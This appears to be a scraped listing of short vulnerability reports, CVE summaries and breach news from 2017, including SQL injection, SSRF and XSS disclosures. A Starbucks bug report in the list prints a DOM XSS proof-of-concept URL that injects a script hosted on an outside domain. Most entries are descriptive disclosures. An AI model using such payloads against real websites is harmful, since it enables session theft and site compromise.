March 22, 2017—KB4016635 (OS Build 14393.970)

None None...

Moneybird: Stored Cross Site Scripting in Customer Name

Researcher found a vulnerability in our contact selector, in which a contact name with HTML would trigger this HTML to be executed. We have improved our contact selector to handle customer names as text instead of HTML...

SQL Injection Vulnerability in youdiancms CustomerAction.class.php

Friendpoint Enterprise Website Management System is a solution. A SQL injection vulnerability exists in youdiancms CustomerAction.class.php. Allows attackers to exploit the vulnerability to gain access to sensitive database information...

Starbucks: DOM XSS on teavana.com via "pr_zip_location" parameter

Hello Starbucks team,, I've discovered DOM XSS on teavana.com involving prziplocation URL parameter. PoC: http://www.teavana.com/us/en/tea/green-tea/winterberry-tea-blend-32601.html?prziplocation=//whitehat-hacker.com/xss.j? Works in all major browsers. Vulnerable code is in full.js: js var DR =...

Internet-Connected Teddy Bear Leaks Millions Of Voice Messages and Password

Every parent should think twice before handing out Internet-connected toys or smart toys to their children, as these creepy toys pose a different sort of danger: privacy and data security risks for kids who play with them. This same incident was happened over a year ago when Hong Kong toymaker...

How to Configure CEIP / Call Home for the Citrix License Server

Note: This feature is only available in the Citrix License Server 11.14.0.1 Build 19005 or later. Citrix Customer Experience Improvement Program CEIP is now enabled by default during License Server installation. Previously customers had to configure CEIP settings by editing CITRIX.opt or using...

SQL Injection Vulnerability in 'id' Parameter of Single Point CRM System

Single point CRM system is a single point of technology development , based on the GPLv3 agreement issued for small and medium-sized management activities , to provide customer relationship management CRM, sales and marketing inventory JXC, human resources HRM, logistics office supplies , fixed...

Lithium Forum Server-Side Request Forgery

Document Title: =============== Lithium Forum - Compose Message SSRF Vulnerability References Source: ==================== https://www.vulnerability-lab.com/getcontent.php?id=2030 Release Date: ============= 2017-02-20 Vulnerability Laboratory ID VL-ID: ==================================== 2030...

Sendroid 5.2 - SQL Injection

Exploit Title: Sendroid - Bulk SMS Portal, Marketing v5.2 Script - SQL Injection Google Dork: N/A Date: 09.02.2017 Vendor Homepage: http://ynetinteractive.com/ Software Buy: https://codecanyon.net/item/sendroid-bulk-sms-portal-marketing-2way-messaging-script-with-mobile-app/14657225 Demo:...

CVE-2016-5900

IBM Tealeaf Customer Experience on Cloud Network Capture Add-On could allow a remote attacker to obtain sensitive information, caused by the failure to properly validate the TLS certificate. An attacker could exploit this vulnerability to obtain sensitive information using man in the middle...

CVE-2016-5900

CVE-2016-5900 affects IBM Tealeaf Customer Experience on Cloud Network Capture Add-On 16.1.01. The vulnerability stems from improper validation of TLS certificates, enabling a remote attacker to obtain sensitive information via man‑in‑the‑middle techniques over the network. The IBM Security Bulle...

Smart TV Manufacturer Vizio Fined $2.2M for Tracking Customers

Smart TV manufacturer Vizio tracked data on 11 million of its customers TVs without their knowledge or consent, the Federal Trade Commission announced this week. The Irvine, Calif.-based company agreed on Monday to pay $2.2 million to settle charges that it collected scores of its customers’ data...

InterContinental Hotels Confirms Credit Card Breach

InterContinental Hotels Group IHG, parent company to Crowne Plaza, Holiday Inn and Kimpton Hotels and Resorts, confirmed on Friday a breach of payment card systems used in 12 of its hotels located in North America and the Caribbean. According to IHG, which operates 5,000 hotels worldwide, malware...

Cisco Patches Authentication Bypass in Cisco Prime Home

Cisco has patched a critical vulnerability in its Cisco Prime Home remote management software used by service providers to oversee and provision subscribers’ home devices. The flaw, found by Cisco engineers, is in the product’s web-based GUI and allows remote attackers to bypass authentication an...

Printing and Marketing Firm Leaks High-Profile Customers' Data

Franchise Services, the parent company of a number of large print and design companies, said it is investigating claims that sensitive customer data stored by one of its franchisees is accessible online. The data dates back to 2010 and ranges from sensitive health records belonging to a former...

Telemarketing Firm Leaks 400,000 Recorded Calls

More than 400,000 audio files associated with a Florida company’s telemarketing efforts were stored online in the clear, and were discovered earlier this month by researchers at MacKeeper. More than 17,600 of those audio recordings were customer transactions that included names, addresses, and...

tailor4less.com XSS vulnerability

Vulnerable URL: https://www.tailor4less.com/de/customer/signin Details: Description| Value ---|--- Patched:| Yes, at 22.02.2017 Latest check for patch:| 22.02.2017 07:35 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 60710 VIP website status:| No Check...

CVE-2017-3441

Vulnerability in the Oracle Customer Interaction History component of Oracle E-Business Suite subcomponent: User Interface. Supported versions that are affected are 12.1.1, 12.1.2 and 12.1.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromi...

CVE-2017-3442

Vulnerability in the Oracle Customer Interaction History component of Oracle E-Business Suite subcomponent: User Interface. Supported versions that are affected are 12.1.1, 12.1.2 and 12.1.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromi...

CVE-2017-3440

Vulnerability in the Oracle Customer Interaction History component of Oracle E-Business Suite subcomponent: User Interface. Supported versions that are affected are 12.1.1, 12.1.2 and 12.1.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromi...